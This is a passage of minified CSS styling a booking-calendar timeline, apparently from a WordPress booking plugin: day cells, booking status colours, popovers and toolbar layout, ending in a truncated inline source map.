.flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id .in_cell_date_booking_pipeline_a:hover{position:relative;cursor:default;outline:0;box-shadow:none}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id .in_cell_date_booking_pipeline_a .in_cell_date_booking_pipeline_a_sizer{width:100%;height:100%}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_booking_titles{display:-ms-flexbox;display:flex;-ms-flex-flow:column wrap;flex-flow:column wrap;-ms-flex-pack:start;justify-content:flex-start}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_booking_titles .in_cell_date_booking_title{overflow:visible;white-space:nowrap;word-wrap:initial;padding:0 .5em;margin-left:4px;margin-top:4px;z-index:1}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar.flex_tl_row_bar_show_booking_titles .flex_tl_day_cell{border:none}.flex_tl_table,.hidden_items{display:none}.flex_timeline_frame .popover{border:2px solid #555;font-size:12px;max-width:299px;max-height:425px;overflow-y:auto;scrollbar-width:thin;scrollbar-gutter:unset}hr.wpbc_tl_popover_booking_separator{margin-bottom:0}.wpbc-listing-collumn.field-system-info{font-size:9px;font-style:normal;line-height:1.2em;text-shadow:none;white-space:nowrap;padding:2px 0 0 5px;text-align:right;color:#777}.flex_timeline_frame .popover .popover-title{display:-ms-flexbox;display:flex;-ms-flex-flow:row wrap;flex-flow:row wrap;-ms-flex-pack:start;justify-content:flex-start;-ms-flex-align:center;align-items:center;min-height:2.5em;margin:0;padding:5px 30px 5px 6px;border-radius:5px 5px 0 0;background-color:#f7f7f7}.flex_timeline_frame .popover .popover-title .popover-title-id{-ms-flex:0 0 auto;flex:0 0 auto;width:100%;font-size:14px;font-weight:500;line-height:1.8;margin:0;padding:0 12px 0 5px;border:0;vertical-align:baseline}.flex_timeline_frame .popover .popover-title .popover-title-buttons{-ms-flex:1 1 auto;flex:1 1 auto;display:-ms-flexbox;display:flex;-ms-flex-flow:row wrap;flex-flow:row wrap;-ms-flex-pack:start;justify-content:flex-start;margin:2px 0}.flex_timeline_frame .popover .popover-title .popover-title-buttons a,.flex_timeline_frame .popover .popover-title .popover-title-buttons a:focus,.flex_timeline_frame .popover .popover-title .popover-title-buttons a:hover{-ms-flex:none;flex:none;box-sizing:border-box;margin:0 5px 0 0;padding:0 10px 1px;font-size:13px;height:28px;line-height:28px;white-space:nowrap;text-decoration:none;cursor:pointer;-webkit-appearance:none;color:#555;background:#f7f7f7;border-radius:3px;border:1px solid #d8d8d8;box-shadow:none;outline:0}.flex_timeline_frame .popover .popover-title .popover-title-buttons a:hover{background:#fafafa;border-color:#ccc;color:#23282d}.flex_timeline_frame .popover .popover-title .popover-title-buttons .wpbc-buttons-separator{margin-right:1.5em}.flex_timeline_frame .popover .popover-close,.flex_timeline_frame .popover .popover-close:hover{position:absolute;right:0;top:0;font-size:20px;line-height:1.5em;padding:5px}.flex_timeline_frame .popover .popover-close a,.flex_timeline_frame .popover .popover-close a:active,.flex_timeline_frame .popover .popover-close a:focus,.flex_timeline_frame .popover .popover-close a:hover{text-decoration:none;border-style:none;outline:0;color:#444;background:0 0;padding:0 5px}.flex_timeline_frame .popover.bottom>.arrow::after{border-bottom-color:transparent}.popover-content .flex-popover-content-data{display:-ms-flexbox;display:flex;-ms-flex-flow:column wrap;flex-flow:column wrap;-ms-flex-pack:justify;justify-content:space-between}.popover-content .flex-popover-content-data .flex-popover-bars,.popover-content .wpbc-popover-content-data .booking-dates,.popover-content .wpbc-popover-content-data .booking-labels,.popover-content .wpbc-popover-content-data .wpbc-popover-booking-data,.popover-content .wpbc-popover-content-data .wpbc-popover-booking-notes,.popover-content .wpbc-popover-content-data .wpbc-popover-cost-bar{-ms-flex:1 1 auto;flex:1 1 auto}.popover-content .flex-popover-content-data .flex-popover-bars{display:-ms-flexbox;display:flex;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:justify;justify-content:space-between}.popover-content .flex-popover-content-data .flex-popover-bars .flex-popover-labels-bar{-ms-flex:1 1 0px;flex:1 1 0;clear:both}.popover-content .flex-popover-content-data .flex-popover-bars .flex-popover-cost-bar{-ms-flex:none;flex:none;padding:.3em 0;margin:0}.popover-content .flex-popover-content-data .flex-popover-labels-bar{display:-ms-flexbox;display:flex;-ms-flex-flow:row wrap;flex-flow:row wrap;-ms-flex-pack:start;justify-content:flex-start}.popover-content .flex-popover-content-data .flex-popover-labels-bar .flex-label{-ms-flex:0 1 auto;flex:0 1 auto;min-width:0}.popover-content .flex-popover-content-data .flex-label{border:0;border-radius:3px;text-shadow:none;box-shadow:0 0 1px #ddd;font-weight:400;font-size:95%;line-height:1.7em;padding:.2em .8em;background-color:#5bc0de;color:#fff;text-align:center;vertical-align:baseline;margin:.15em .75em .5em 0;word-wrap:break-word;word-wrap:anywhere;white-space:pre-wrap}.popover-content .flex-popover-content-data .flex-label .label-prefix{font-size:70%;font-weight:400}.popover-content .flex-popover-content-data .flex-label.flex-label-id{background:#888}.popover-content .flex-popover-content-data .flex-label.flex-label-booking-status.label-pending{background:#ffbb45}.popover-content .flex-popover-content-data .flex-label.flex-label-booking-status.label-approved{background:#9be}.popover-content .flex-popover-content-data .flex-label.flex-label-payment.payment-label-success{background:#468847}.popover-content .flex-popover-content-data .flex-label.flex-label-payment.payment-label-unknown{background:#999}.popover-content .flex-popover-content-data .flex-label.flex-label-trash{background:#d94a48}.popover-content .flex-popover-content-data .flex-label.flex-label-resource{text-align:left}.popover-content .flex-popover-content-data .flex-label.flex-label-cost{background:0 0;font-weight:600;color:#333;box-shadow:none;padding:0;margin:0}.popover-content .flex-popover-content-data .flex-popover-booking-data{margin:1em 0;text-align:left;font-size:1.05em;line-height:1.8em;color:#333;max-width:100%;word-wrap:break-word;word-wrap:anywhere}.popover-content .flex-popover-content-data .flex-popover-booking-data span.fieldvalue{background:0 0;padding:2px;border-radius:1px;margin:0 .5em 0 0;word-break:initial;word-wrap:break-word}.popover-content .flex-popover-content-data .flex-popover-booking-data label{font-weight:600;vertical-align:baseline}.popover-content .flex-popover-content-data .flex-popover-booking-data *{vertical-align:baseline;line-height:2em}.popover-content .flex-popover-content-data .wpbc-popover-booking-notes{margin:0 0 1em;max-width:100%;word-break:break-word}.popover-content .flex-popover-content-data .flex-label-dates{display:-ms-flexbox;display:flex;-ms-flex-flow:row wrap;flex-flow:row wrap;-ms-flex-pack:start;justify-content:flex-start;-ms-flex-align:start;align-items:flex-start}.popover-content .flex-popover-content-data .flex-label-dates .flex-label.field-booking-date{-ms-flex:0 1 auto;flex:0 1 auto;font-size:103%;padding:.1em .7em;margin:0 0 .2em;background:#ffbb45}.popover-content .flex-popover-content-data .flex-label-dates .date_tire{-ms-flex:0 1 auto;flex:0 1 auto;margin:0 .2em;font-size:175%;line-height:1em}.popover-content .flex-popover-content-data .flex-label-dates .flex-label.field-booking-date .field-booking-time{font-size:.7em;font-weight:400;color:#23282d}.popover-content .flex-popover-content-data .flex-label-dates .flex-label.field-booking-date.approved{background:#9be}.popover-content .wpbc_tl_popover_booking_separator{margin:20px 0;border-top:1px solid #ddd;box-shadow:0 1px 1px #f9f9f9}.flex_tl_table{background:#fff;border:1px solid #ddd;box-shadow:0 1px 2px #eef;font-size:12px;border-radius:4px 4px 0 0}.flex_tl_table .flex_tl_table_header{background:0 0;border-bottom:1px solid #dfdfdf;font-size:15px;font-weight:600;color:#606060;text-shadow:none;line-height:3em;height:3em;overflow:hidden;padding-left:1em;border-radius:4px 4px 0 0}.wpbc_timeline_front_end .flex_tl_table .flex_tl_table_header{padding:0 2px}.flex_tl_table .flex_tl_table_header .flex_tl_collumn_1,.flex_tl_table .flex_tl_table_header .flex_tl_collumn_2{font-weight:600;padding:8px;line-height:1.42857143em}.flex_tl_table .flex_tl_table_header .flex_tl_collumn_2{text-align:center}.flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 .flex_tl_nav .flex_tl_next,.flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 .flex_tl_nav .flex_tl_prev{font-size:22px;font-weight:600;line-height:12px;color:#777}.flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 .flex_tl_nav .flex_tl_next a,.flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 .flex_tl_nav .flex_tl_next a:hover,.flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 .flex_tl_nav .flex_tl_prev a,.flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 .flex_tl_nav .flex_tl_prev a:hover{text-decoration:none;color:#757575;cursor:pointer}.flex_tl_table .flex_tl_table_row_bookings{border-top:1px solid #ddd}.flex_tl_table .flex_tl_table_row_bookings:nth-of-type(2n+1){background-color:#f9f9f9}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1,.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_1{font-weight:600;padding:0 0 0 4px;line-height:1.42857143em;box-shadow:none}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_row_height{display:-ms-flexbox;display:flex;-ms-flex-flow:row wrap;flex-flow:row wrap;-ms-flex-pack:start;justify-content:flex-start;-ms-flex-align:center;align-items:center}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title,.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_1{color:#999;font-weight:400;overflow:hidden;white-space:nowrap}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title a{border-bottom:0 dashed;color:#789;text-shadow:none;margin:0 0 0 2px;box-shadow:none;outline:0;text-decoration:none}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title a:active,.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title a:focus,.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title a:hover{text-decoration:underline;-webkit-text-decoration-style:dashed;text-decoration-style:dashed;text-decoration-thickness:1px;text-underline-offset:3px}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title.parent{font-weight:600}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title.child{margin-left:20px}.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell{border-left:1px solid #eee}.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell.new_month .in_cell_date_container{border-left:2px solid #c54}.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell.flex_tl_weekday6,.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell.flex_tl_weekday6 a,.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell.flex_tl_weekday7,.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell.flex_tl_weekday7 a{color:#c32;background:#fffcf4}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell.flex_tl_weekday6 .in_cell_date_container_show_dates,.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell.flex_tl_weekday7 .in_cell_date_container_show_dates{color:#bd7f78;background:#fffcf4}.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell a,.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell a:hover{color:#789;text-decoration:none}.flex_tl_single_resource .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar_month{display:none}.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar_month{overflow:hidden;height:1.5em;border-bottom:1px solid #eee;border-left:1px solid #eee}.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_month_year{color:#c32;font-size:.85em;font-weight:600;padding:0 .5em}.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_time_section_in_day .in_cell_time_hour{border-left:1px solid #eee;border-top:1px solid #eee;display:-ms-flexbox;display:flex;-ms-flex-pack:start;justify-content:flex-start;-ms-flex-align:center;align-items:center;padding:0 0 0 2px;white-space:nowrap;overflow:hidden;min-height:12px;font-size:.8em;font-weight:600}.flex_tl_matrix_resources.flex_frame_view_days_num_1 .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container .in_cell_day_num,.flex_tl_single_resource.flex_frame_view_days_num_30 .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container .in_cell_day_num{font-size:.85em;font-weight:600;text-align:left;padding:0 1em}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container .flex_tl_resource_title_dates_days.flex_tl_weekday6,.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container .flex_tl_resource_title_dates_days.flex_tl_weekday7,.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container .flex_tl_resource_title_dates_weeks.flex_tl_weekday6,.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container .flex_tl_resource_title_dates_weeks.flex_tl_weekday7{color:#bd7f78}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell{border-left:1px solid #eee;color:#aaa;font-size:.85em;text-shadow:none}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell.new_month .in_cell_time_hour:first-child .in_cell_date_container{border-left:2px solid #c54}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell.new_month.exist_booking_in_cell .in_cell_time_hour:first-child .in_cell_date_container{border-left:1px solid #c54}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.approved_booking.start_new_booking{border-color:#616f8b}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.past_date{background-color:#f0cf77}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.approved_booking.past_date{background-color:#9099aa;background-color:var(--wpbc_timeline-past-booking-approved-color)}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.start_new_booking.booking_trash{border-left:2px solid #901c1a}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.booking_trash{background-color:#db6f6d}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar.flex_tl_row_bar_show_booking_titles .flex_tl_day_cell.today_date .in_cell_time_section_in_day{border-left:1px solid #090}.flex_timeline_frame.flex_frame_view_days_num_1.flex_tl_matrix_resources .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar.flex_tl_row_bar_show_booking_titles .flex_tl_day_cell.today_date .in_cell_time_section_in_day,.flex_timeline_frame.flex_frame_view_days_num_30.flex_tl_single_resource .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar.flex_tl_row_bar_show_booking_titles .flex_tl_day_cell.today_date .in_cell_time_section_in_day{border-left:none}.flex_timeline_frame.flex_frame_view_days_num_1.flex_tl_matrix_resources .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar.flex_tl_row_bar_show_booking_titles .flex_tl_day_cell .in_cell_time_section_in_day .in_cell_time_hour.today_time,.flex_timeline_frame.flex_frame_view_days_num_30.flex_tl_single_resource .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar.flex_tl_row_bar_show_booking_titles .flex_tl_day_cell .in_cell_time_section_in_day .in_cell_time_hour.today_time{border-left:1px solid #77ce0f}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id a{font-size:7px;font-weight:600;color:#fff;cursor:pointer}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_booking_titles .in_cell_date_booking_title{background:#777;color:#fff;border-left:2px solid #555;cursor:pointer;border-radius:3px;font-size:10px}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_booking_titles .in_cell_date_booking_title.several_bookings_in_cell{font-weight:700;background:#fdab36;color:#455366;border-left:2px solid #dd8b16}.flex_timeline_frame.flex_frame_view_days_num_1.flex_tl_matrix_resources .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_dates,.flex_timeline_frame.flex_frame_view_days_num_30.flex_tl_single_resource .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_dates{border-left:1px solid #eee;border-top:1px solid #eee;font-size:.8em;word-wrap:normal;white-space:nowrap;overflow:hidden;padding:0 2px}.wpbc_calendar_overview__header{position:relative;width:100%}.wpbc_calendar_overview__header .nav-tabs{box-shadow:0 3px 8px #eaeaea;border-bottom:1px solid #e3e3e3;display:-ms-flexbox;display:flex;-ms-flex-flow:row wrap;flex-flow:row wrap;-ms-flex-pack:start;justify-content:flex-start;-ms-flex-align:center;align-items:center}.wpbc_calendar_overview__header .wpbc_calendar_overview__navigation{display:-ms-flexbox;display:flex;-ms-flex-flow:row wrap;flex-flow:row wrap;-ms-flex-pack:end;justify-content:flex-end;-ms-flex-align:center;align-items:center;margin:4px 5px 4px auto}.wpbc_calendar_overview__container{padding:0 5px 5px;margin-top:0;border:1px solid #d5d5d5;background:#fff;font-size:13px;border-radius:0 0 3px 3px;box-shadow:0 0 8px #dadada;margin-bottom:25px}.wpbc_page_tab__vm_calendar #toolbar_booking_listing.wpbc_timeline_toolbar_container{margin:-21px 0 0!important;position:relative;box-shadow:0 4px 8px #e4e4e4}.wpbc_timeline_toolbar_container .wpdvlp-sub-tabs{border-radius:0 0 2px 2px}.wpbc_page_tab__vm_calendar #toolbar_booking_listing.wpbc_timeline_toolbar_container .wpdvlp-sub-tabs{padding-bottom:1px}.wpbc_calendar_overview__container .flex_tl_table{border-radius:0;border-top:none;font-size:13px}.wpbc_timeline_toolbar_structure{display:-ms-flexbox;display:flex;-ms-flex-flow:row wrap;flex-flow:row wrap;-ms-flex-pack:start;justify-content:flex-start;-ms-flex-align:center;align-items:center}.wpbc_timeline_toolbar_structure>*{margin-top:0;margin-bottom:10px;margin-right:15px}.wpbc_timeline_toolbar_structure>:last-child{margin-left:auto;margin-right:0}.wpbc_toolbar_search_by_id_bookings{-ms-flex-item-align:end;align-self:flex-end}@media (max-width:501px){.wpbc_toolbar_search_by_id_bookings{display:none}}.flex_tl__scrolling_sections{display:-ms-flexbox;display:flex;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start;-ms-flex-align:start;align-items:flex-start;overflow-y:auto;scrollbar-width:thin}.flex_tl__scrolling_sections .flex_tl__scrolling_section1{width:220px;overflow-x:auto;scrollbar-width:thin;box-shadow:0 0 3px #9b9b9b;z-index:1;padding:0}.flex_tl__scrolling_sections .flex_tl__scrolling_section1>div{-ms-flex:0 1 180px;flex:0 1 180px;border-right:1px solid #dfdfdf}.flex_tl__scrolling_sections .flex_tl__scrolling_section1>div.flex_tl_table_titles{border-right:1px solid transparent}.flex_tl__scrolling_sections .flex_tl__scrolling_section2{-ms-flex:1 1 100%;flex:1 1 100%;overflow-x:auto}.flex_tl_single_resource.flex_frame_view_days_num_30 .flex_tl__scrolling_sections .flex_tl__scrolling_section2 .flex_tl_row_max_width{min-width:900px}.flex_tl_single_resource.flex_frame_view_days_num_90 .flex_tl__scrolling_sections .flex_tl__scrolling_section2 .flex_tl_row_max_width{min-width:350px}.flex_tl_single_resource.flex_frame_view_days_num_365 .flex_tl__scrolling_sections .flex_tl__scrolling_section2 .flex_tl_row_max_width{min-width:1400px}.flex_tl_matrix_resources.flex_frame_view_days_num_1 .flex_tl__scrolling_sections .flex_tl__scrolling_section2 .flex_tl_row_max_width{min-width:900px}.flex_tl_matrix_resources.flex_frame_view_days_num_7 .flex_tl__scrolling_sections .flex_tl__scrolling_section2 .flex_tl_row_max_width{min-width:300px}.flex_tl_matrix_resources.flex_frame_view_days_num_30 .flex_tl__scrolling_sections .flex_tl__scrolling_section2 .flex_tl_row_max_width{min-width:1400px}.flex_tl_matrix_resources.flex_frame_view_days_num_60 .flex_tl__scrolling_sections .flex_tl__scrolling_section2 .flex_tl_row_max_width{min-width:2800px}.flex_tl_table .flex_tl_table_header .flex_tl_collumn_1,.flex_tl_table .flex_tl_table_header .flex_tl_collumn_2,.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_1,.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2{height:var(--wpbc_timeline-row-header-height);overflow:hidden}.flex_tl_table .flex_tl_table_header .flex_tl_collumn_2,.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2{display:-ms-flexbox;display:flex;-ms-flex-flow:row wrap;flex-flow:row wrap;-ms-flex-pack:start;justify-content:flex-start;-ms-flex-align:stretch;align-items:stretch}.flex_tl_table .flex_tl_table_header .flex_tl_collumn_2>div,.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2>div{-ms-flex:1 1 100%;flex:1 1 100%}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id{margin-left:-1px;opacity:.8;background:0 0;background-color:var(--wpbc_timeline-booking-pending-color)}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.start_new_booking{border-left:2px solid #df8d18}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.approved_booking{background-color:var(--wpbc_timeline-booking-approved-color)}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.past_date{background-color:var(--wpbc_timeline-past-booking-pending-color)}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.booking_change_over{border:none;width:100%;height:100%;position:absolute;width:calc(100% + 1px);margin:0 -1px}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.booking_check_in{background:linear-gradient(to bottom right,#fff0 0,#fff0 50%,var(--wpbc_timeline-booking-pending-border-color) 50%,var(--wpbc_timeline-booking-pending-border-color) 52%,var(--wpbc_timeline-booking-pending-color) 52%,var(--wpbc_timeline-booking-pending-color) 100%)}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.booking_check_out{background:linear-gradient(to top left,#fff0 0,#fff0 50%,var(--wpbc_timeline-booking-pending-color) 50%,var(--wpbc_timeline-booking-pending-color) 100%)}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.approved_booking.booking_check_in{background:linear-gradient(to bottom right,#fff0 0,#fff0 50%,var(--wpbc_timeline-booking-approved-border-color) 50%,var(--wpbc_timeline-booking-approved-border-color) 52%,var(--wpbc_timeline-booking-approved-color) 52%,var(--wpbc_timeline-booking-approved-color) 100%)}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.approved_booking.booking_check_out{background:linear-gradient(to top left,#fff0 0,#fff0 50%,var(--wpbc_timeline-booking-approved-color) 50%,var(--wpbc_timeline-booking-approved-color) 100%)}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.booking_check_in.past_date{background:linear-gradient(to bottom right,#fff0 0,#fff0 50%,var(--wpbc_timeline-booking-pending-border-color) 50%,var(--wpbc_timeline-booking-pending-border-color) 52%,var(--wpbc_timeline-past-booking-pending-color) 52%,var(--wpbc_timeline-past-booking-pending-color) 100%)}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.booking_check_out.past_date{background:linear-gradient(to top left,#fff0 0,#fff0 50%,var(--wpbc_timeline-past-booking-pending-color) 50%,var(--wpbc_timeline-past-booking-pending-color) 100%)}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.approved_booking.booking_check_in.past_date{background:linear-gradient(to bottom right,#fff0 0,#fff0 50%,var(--wpbc_timeline-booking-approved-border-color) 50%,var(--wpbc_timeline-booking-approved-border-color) 52%,var(--wpbc_timeline-past-booking-approved-color) 52%,var(--wpbc_timeline-past-booking-approved-color) 100%)}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.approved_booking.booking_check_out.past_date{background:linear-gradient(to top left,#fff0 0,#fff0 50%,var(--wpbc_timeline-past-booking-approved-color) 50%,var(--wpbc_timeline-past-booking-approved-color) 100%)}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_booking_titles .in_cell_date_booking_title:active,.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_booking_titles .in_cell_date_booking_title:focus,.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_booking_titles .in_cell_date_booking_title:hover{outline:0;box-shadow:0 0 0 2px #a6bbe5;box-shadow:0 0 4px -1px #000;-webkit-text-decoration-style:dashed;text-decoration-style:dashed;text-decoration-thickness:0;text-underline-offset:2px} /*# sourceMappingURL=data:application/json;charset=utf8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImNvcmUvdGltZWxpbmUvdjIvX291dC90aW1lbGluZV92Mi4xLmNzcyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFBQSxNQUNFLDJCQUE0QixLQUM1QixrQ0FBbUMsS0FDbkMsc0NBQXVDLFFBQ3ZDLDJDQUE0QyxRQUM1Qyw2Q0FBOEMsUUFDOUMsdUNBQXdDLFFBQ3hDLDRDQUE2QyxRQUM3Qyw4Q0FBK0MsUUFFakQsZUFDRSxjQUFlLE9BQU8sT0FDdEIsVUFBVyxPQUFPLE9BQ2xCLFdBQVksV0FFZCxxQ0FDQSwyQ0FDQSxxQ0FDRSxTQUFVLEVBQ1YsS0FBTSxFQUNOLFFBQVMsWUFDVCxRQUFTLEtBQ1QsY0FBZSxJQUFJLE9BQ25CLFVBQVcsSUFBSSxPQUNmLGNBQWUsUUFDZixnQkFBaUIsY0FFbkIsd0RBQ0EsOERBQ0Esd0RBQ0UsU0FBVSxFQUFFLEVBQUUsS0FDZCxLQUFNLEVBQUUsRUFBRSxLQUNWLFVBQVcsRUFDWCxVQUFXLFdBQ1gsUUFBUyxZQUNULFFBQVMsS0FDVCxjQUFlLE9BQU8sT0FDdEIsVUFBVyxPQUFPLE9BQ2xCLGNBQWUsT0FDZixnQkFBaUIsT0FFbkIsd0RBQ0EsOERBQ0Esd0RBQ0UsU0FBVSxFQUFFLEVBQUUsSUFDZCxLQUFNLEVBQUUsRUFBRSxFQUNWLFVBQVcsRUFFYix3REFDRSxRQUFTLFlBQ1QsUUFBUyxLQUNULGNBQWUsT0FBTyxPQUN0QixVQUFXLE9BQU8sT0FDbEIsY0FBZSxPQUNmLGdCQUFpQixPQUVuQix5QkFDRSxxQ0FDQSwyQ0FDQSxxQ0FDRSxjQUFlLElBQUksS0FDbkIsVUFBVyxJQUFJLEtBRWpCLDhEQUNBLDhEQUNBL